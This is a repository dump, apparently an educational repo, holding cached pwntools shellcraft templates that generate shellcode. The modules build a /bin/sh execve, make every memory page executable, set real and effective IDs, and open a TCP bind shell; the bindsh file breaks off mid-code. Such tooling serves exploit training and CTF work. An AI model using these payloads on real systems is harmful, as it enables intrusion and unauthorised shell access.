28 | __M_writer(u'\n ') 29 | __M_writer(unicode(i386.mov('ebx', in_fd))) 30 | __M_writer(u'\n xor eax, eax\n mov al, SYS_getdents\n cdq\n ') 31 | __M_writer(unicode(i386.mov('dl', size))) 32 | __M_writer(u'\n') 33 | if allocate_stack: 34 | __M_writer(u' sub esp, edx\n') 35 | __M_writer(u' mov ecx, esp\n int 0x80\n') 36 | return '' 37 | finally: 38 | context.caller_stack._pop_frame() 39 | 40 | 41 | """ 42 | __M_BEGIN_METADATA 43 | {"source_encoding": "ascii", "line_map": {"32": 18, "33": 19, "34": 20, "35": 22, "41": 35, "16": 3, "17": 2, "22": 1, "26": 1, "27": 2, "28": 13, "29": 14, "30": 14, "31": 18}, "uri": "i386/linux/getdents.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/linux/getdents.asm"} 44 | __M_END_METADATA 45 | """ 46 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/getdents.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/linux/getdents.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/i386_to_amd64.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.719987 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/linux/i386_to_amd64.asm' 11 | _template_uri = 'i386/linux/i386_to_amd64.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'Returns code to switch from i386 to amd64 mode.' 17 | def render_body(context,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs) 21 | __M_writer = context.writer() 22 | from pwnlib.shellcraft import common 23 | 24 | __M_locals_builtin_stored = __M_locals_builtin() 25 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['common'] if __M_key in __M_locals_builtin_stored])) 26 | __M_writer(u'\n') 27 | __M_writer(u'\n') 28 | helper, end = common.label("helper"), common.label("end") 29 | 30 | __M_locals_builtin_stored = __M_locals_builtin() 31 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['end','helper'] if __M_key in __M_locals_builtin_stored])) 32 | __M_writer(u'\n.code32\n push 0x33 /* This is the segment we want to go to */\n call $+4\n') 33 | __M_writer(unicode(helper)) 34 | __M_writer(u':\n .byte 0xc0\n add dword ptr [esp], ') 35 | __M_writer(unicode(end)) 36 | __M_writer(u' - ') 37 | __M_writer(unicode(helper)) 38 | __M_writer(u'\n jmp far [esp]\n') 39 | __M_writer(unicode(end)) 40 | __M_writer(u':\n.code64\n') 41 | return '' 42 | finally: 43 | context.caller_stack._pop_frame() 44 | 45 | 46 | """ 47 | __M_BEGIN_METADATA 48 | {"source_encoding": "ascii", "line_map": {"32": 3, "33": 7, "34": 7, "35": 9, "36": 9, "37": 9, "38": 9, "39": 11, "40": 11, "46": 40, "16": 2, "17": 0, "22": 1, "26": 1, "27": 2, "28": 3}, "uri": "i386/linux/i386_to_amd64.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/linux/i386_to_amd64.asm"} 49 | __M_END_METADATA 50 | """ 51 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/i386_to_amd64.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/linux/i386_to_amd64.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/mprotect_all.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.722395 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/linux/mprotect_all.asm' 11 | _template_uri = 'i386/linux/mprotect_all.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'Calls mprotect(page, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) for every page.\n\nIt takes around 0.3 seconds on my box, but your milage may vary.\n\nArgs:\n clear_ebx(bool): If this is set to False, then the shellcode will assume that ebx has already been zeroed.\n fix_null(bool): If this is set to True, then the NULL-page will also be mprotected at the cost of slightly larger shellcode\n' 17 | def render_body(context,clear_ebx=True,fix_null=False,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(clear_ebx=clear_ebx,pageargs=pageargs,fix_null=fix_null) 21 | __M_writer = context.writer() 22 | from pwnlib.shellcraft import common 23 | 24 | __M_locals_builtin_stored = __M_locals_builtin() 25 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['common'] if __M_key in __M_locals_builtin_stored])) 26 | __M_writer(u'\n') 27 | __M_writer(u'\n') 28 | __M_writer(u'\n') 29 | label = common.label("mprotect_loop") 30 | 31 | __M_locals_builtin_stored = __M_locals_builtin() 32 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['label'] if __M_key in __M_locals_builtin_stored])) 33 | __M_writer(u'\n\n') 34 | if clear_ebx: 35 | __M_writer(u' xor ebx, ebx\n') 36 | if fix_null: 37 | __M_writer(u' xor ecx, ecx\n') 38 | __M_writer(unicode(label)) 39 | __M_writer(u':\n push PROT_READ | PROT_WRITE | PROT_EXEC\n pop edx\n push SYS_mprotect\n pop eax\n int 0x80\n xor ecx, ecx\n mov ch, 0x10\n add ebx, ecx\n jnz ') 40 | __M_writer(unicode(label)) 41 | __M_writer(u'\n') 42 | return '' 43 | finally: 44 | context.caller_stack._pop_frame() 45 | 46 | 47 | """ 48 | __M_BEGIN_METADATA 49 | {"source_encoding": "ascii", "line_map": {"33": 11, "34": 13, "35": 14, "36": 16, "37": 17, "38": 19, "39": 19, "40": 28, "41": 28, "47": 41, "16": 3, "17": 2, "22": 1, "26": 1, "27": 2, "28": 10, "29": 11}, "uri": "i386/linux/mprotect_all.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/linux/mprotect_all.asm"} 50 | __M_END_METADATA 51 | """ 52 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/mprotect_all.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/linux/mprotect_all.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/read.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473984793.144923 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/linux/read.asm' 11 | _template_uri = 'i386/linux/read.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u"\nInvokes the syscall read. See 'man 2 read' for more information.\n\nArguments:\n fd(int): fd\n buf(void): buf\n nbytes(size_t): nbytes\n" 17 | def render_body(context,fd,buf,nbytes,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(buf=buf,pageargs=pageargs,fd=fd,nbytes=nbytes) 21 | __M_writer = context.writer() 22 | __M_writer(u'\n') 23 | 24 | from pwnlib.shellcraft.i386.linux import syscall 25 | 26 | 27 | __M_locals_builtin_stored = __M_locals_builtin() 28 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['syscall'] if __M_key in __M_locals_builtin_stored])) 29 | __M_writer(u'\n') 30 | __M_writer(u'\n') 31 | __M_writer(u'\n\n ') 32 | __M_writer(unicode(syscall('SYS_read', fd, buf, nbytes))) 33 | __M_writer(u'\n') 34 | return '' 35 | finally: 36 | context.caller_stack._pop_frame() 37 | 38 | 39 | """ 40 | __M_BEGIN_METADATA 41 | {"source_encoding": "ascii", "line_map": {"32": 15, "33": 15, "39": 33, "16": 6, "17": 5, "22": 1, "23": 2, "29": 4, "30": 5, "31": 13}, "uri": "i386/linux/read.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/linux/read.asm"} 42 | __M_END_METADATA 43 | """ 44 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/read.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/linux/read.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/setregid.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.725306 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/linux/setregid.asm' 11 | _template_uri = 'i386/linux/setregid.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'\nArgs: [gid (imm/reg) = egid]\n Sets the real and effective group id.\n' 17 | def render_body(context,gid='egid',**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs,gid=gid) 21 | __M_writer = context.writer() 22 | from pwnlib.shellcraft import i386 23 | 24 | __M_locals_builtin_stored = __M_locals_builtin() 25 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['i386'] if __M_key in __M_locals_builtin_stored])) 26 | __M_writer(u'\n') 27 | __M_writer(u'\n') 28 | __M_writer(u'\n\n') 29 | if gid == 'egid': 30 | __M_writer(u' /* getegid */\n ') 31 | __M_writer(unicode(i386.linux.syscall('SYS_getegid'))) 32 | __M_writer(u'\n ') 33 | __M_writer(unicode(i386.mov('ebx', 'eax'))) 34 | __M_writer(u'\n') 35 | else: 36 | __M_writer(u' ') 37 | __M_writer(unicode(i386.mov('ebx', gid))) 38 | __M_writer(u'\n') 39 | __M_writer(u'\n /* setregid(eax, eax) */\n ') 40 | __M_writer(unicode(i386.linux.syscall('SYS_setregid', 'ebx', 'ebx'))) 41 | __M_writer(u'\n') 42 | return '' 43 | finally: 44 | context.caller_stack._pop_frame() 45 | 46 | 47 | """ 48 | __M_BEGIN_METADATA 49 | {"source_encoding": "ascii", "line_map": {"32": 10, "33": 11, "34": 11, "35": 12, "36": 13, "37": 13, "38": 13, "39": 15, "40": 17, "41": 17, "47": 41, "16": 3, "17": 2, "22": 1, "26": 1, "27": 2, "28": 6, "29": 8, "30": 9, "31": 10}, "uri": "i386/linux/setregid.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/linux/setregid.asm"} 50 | __M_END_METADATA 51 | """ 52 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/setregid.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/linux/setregid.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/setreuid.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.728143 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/linux/setreuid.asm' 11 | _template_uri = 'i386/linux/setreuid.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'\nArgs: [uid (imm/reg) = euid]\n Sets the real and effective user id.\n' 17 | def render_body(context,uid='euid',**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs,uid=uid) 21 | __M_writer = context.writer() 22 | from pwnlib.shellcraft import i386 23 | 24 | __M_locals_builtin_stored = __M_locals_builtin() 25 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['i386'] if __M_key in __M_locals_builtin_stored])) 26 | __M_writer(u'\n') 27 | __M_writer(u'\n') 28 | __M_writer(u'\n\n') 29 | if uid == 'euid': 30 | __M_writer(u' /* geteuid */\n ') 31 | __M_writer(unicode(i386.linux.syscall('SYS_geteuid'))) 32 | __M_writer(u'\n ') 33 | __M_writer(unicode(i386.mov('ebx', 'eax'))) 34 | __M_writer(u'\n') 35 | else: 36 | __M_writer(u' ') 37 | __M_writer(unicode(i386.mov('ebx', uid))) 38 | __M_writer(u'\n') 39 | __M_writer(u'\n /* setreuid(eax, eax) */\n ') 40 | __M_writer(unicode(i386.syscall('SYS_setreuid', 'ebx', 'ebx'))) 41 | __M_writer(u'\n') 42 | return '' 43 | finally: 44 | context.caller_stack._pop_frame() 45 | 46 | 47 | """ 48 | __M_BEGIN_METADATA 49 | {"source_encoding": "ascii", "line_map": {"32": 10, "33": 11, "34": 11, "35": 12, "36": 13, "37": 13, "38": 13, "39": 15, "40": 17, "41": 17, "47": 41, "16": 3, "17": 2, "22": 1, "26": 1, "27": 2, "28": 6, "29": 8, "30": 9, "31": 10}, "uri": "i386/linux/setreuid.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/linux/setreuid.asm"} 50 | __M_END_METADATA 51 | """ 52 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/setreuid.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/linux/setreuid.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/sh.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.730404 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/linux/sh.asm' 11 | _template_uri = 'i386/linux/sh.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'Execute /bin/sh' 17 | def render_body(context,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs) 21 | __M_writer = context.writer() 22 | from pwnlib.shellcraft import i386 23 | 24 | __M_locals_builtin_stored = __M_locals_builtin() 25 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['i386'] if __M_key in __M_locals_builtin_stored])) 26 | __M_writer(u'\n') 27 | from pwnlib.constants.linux.i386 import SYS_execve 28 | 29 | __M_locals_builtin_stored = __M_locals_builtin() 30 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['SYS_execve'] if __M_key in __M_locals_builtin_stored])) 31 | __M_writer(u'\n') 32 | __M_writer(u'\n\n') 33 | __M_writer(unicode(i386.pushstr('/bin///sh'))) 34 | __M_writer(u'\n\n') 35 | __M_writer(unicode(i386.linux.syscall('SYS_execve', 'esp', 0, 0))) 36 | __M_writer(u'\n') 37 | return '' 38 | finally: 39 | context.caller_stack._pop_frame() 40 | 41 | 42 | """ 43 | __M_BEGIN_METADATA 44 | {"source_encoding": "ascii", "line_map": {"32": 3, "33": 5, "34": 5, "35": 7, "36": 7, "42": 36, "16": 3, "17": 0, "22": 1, "26": 1, "27": 2, "31": 2}, "uri": "i386/linux/sh.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/linux/sh.asm"} 45 | __M_END_METADATA 46 | """ 47 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/sh.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/linux/sh.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/stager.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/linux/stager.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/linux/syscall.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/linux/syscall.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/mov.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/mov.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/nop.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.67187 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/nop.asm' 11 | _template_uri = 'i386/nop.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'A single-byte nop instruction.' 17 | def render_body(context,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs) 21 | __M_writer = context.writer() 22 | __M_writer(u'\n nop\n') 23 | return '' 24 | finally: 25 | context.caller_stack._pop_frame() 26 | 27 | 28 | """ 29 | __M_BEGIN_METADATA 30 | {"source_encoding": "ascii", "line_map": {"16": 1, "17": 0, "28": 22, "22": 1}, "uri": "i386/nop.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/nop.asm"} 31 | __M_END_METADATA 32 | """ 33 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/nop.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/nop.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/push.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/push.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/pushstr.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/pushstr.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/pushstr_array.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/pushstr_array.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/ret.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.682419 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/ret.asm' 11 | _template_uri = 'i386/ret.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'A single-byte RET instruction.\n\nArgs:\n return_value: Value to return\n' 17 | def render_body(context,return_value=None,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs,return_value=return_value) 21 | __M_writer = context.writer() 22 | from pwnlib.shellcraft import i386 23 | 24 | __M_locals_builtin_stored = __M_locals_builtin() 25 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['i386'] if __M_key in __M_locals_builtin_stored])) 26 | __M_writer(u'\n') 27 | __M_writer(u'\n') 28 | __M_writer(u'\n\n') 29 | if return_value != None: 30 | __M_writer(u' ') 31 | __M_writer(unicode(i386.mov('eax', return_value))) 32 | __M_writer(u'\n') 33 | __M_writer(u'\n ret\n') 34 | return '' 35 | finally: 36 | context.caller_stack._pop_frame() 37 | 38 | 39 | """ 40 | __M_BEGIN_METADATA 41 | {"source_encoding": "ascii", "line_map": {"32": 10, "33": 12, "39": 33, "16": 2, "17": 7, "22": 1, "26": 1, "27": 6, "28": 7, "29": 9, "30": 10, "31": 10}, "uri": "i386/ret.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/ret.asm"} 42 | __M_END_METADATA 43 | """ 44 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/ret.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/ret.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/setregs.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/setregs.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/stackhunter.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/stackhunter.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/trap.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.687019 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/trap.asm' 11 | _template_uri = 'i386/trap.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'A trap instruction.' 17 | def render_body(context,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs) 21 | __M_writer = context.writer() 22 | __M_writer(u'\n int3') 23 | return '' 24 | finally: 25 | context.caller_stack._pop_frame() 26 | 27 | 28 | """ 29 | __M_BEGIN_METADATA 30 | {"source_encoding": "ascii", "line_map": {"16": 1, "17": 0, "28": 22, "22": 1}, "uri": "i386/trap.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/i386/trap.asm"} 31 | __M_END_METADATA 32 | """ 33 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/i386/trap.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/i386/trap.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/thumb/infloop.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.743614 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/thumb/infloop.asm' 11 | _template_uri = 'thumb/infloop.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'An infinite loop.' 17 | def render_body(context,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs) 21 | __M_writer = context.writer() 22 | from pwnlib.shellcraft import common 23 | 24 | __M_locals_builtin_stored = __M_locals_builtin() 25 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['common'] if __M_key in __M_locals_builtin_stored])) 26 | __M_writer(u'\n') 27 | __M_writer(u'\n') 28 | infloop = common.label("infloop") 29 | 30 | __M_locals_builtin_stored = __M_locals_builtin() 31 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['infloop'] if __M_key in __M_locals_builtin_stored])) 32 | __M_writer(u'\n') 33 | __M_writer(unicode(infloop)) 34 | __M_writer(u':\n b ') 35 | __M_writer(unicode(infloop)) 36 | __M_writer(u'\n') 37 | return '' 38 | finally: 39 | context.caller_stack._pop_frame() 40 | 41 | 42 | """ 43 | __M_BEGIN_METADATA 44 | {"source_encoding": "ascii", "line_map": {"32": 3, "33": 4, "34": 4, "35": 5, "36": 5, "42": 36, "16": 2, "17": 0, "22": 1, "26": 1, "27": 2, "28": 3}, "uri": "thumb/infloop.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/thumb/infloop.asm"} 45 | __M_END_METADATA 46 | """ 47 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/thumb/infloop.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/thumb/infloop.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/thumb/linux/bindsh.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.76906 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/thumb/linux/bindsh.asm' 11 | _template_uri = 'thumb/linux/bindsh.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u"\n bindsh(port,network)\n\n Listens on a TCP port and spawns a shell for the first to connect.\n Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.\n" 17 | def render_body(context,port,network='ipv4',**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs,port=port,network=network) 21 | __M_writer = context.writer() 22 | from pwnlib.shellcraft.thumb.linux import listen, dupsh 23 | 24 | __M_locals_builtin_stored = 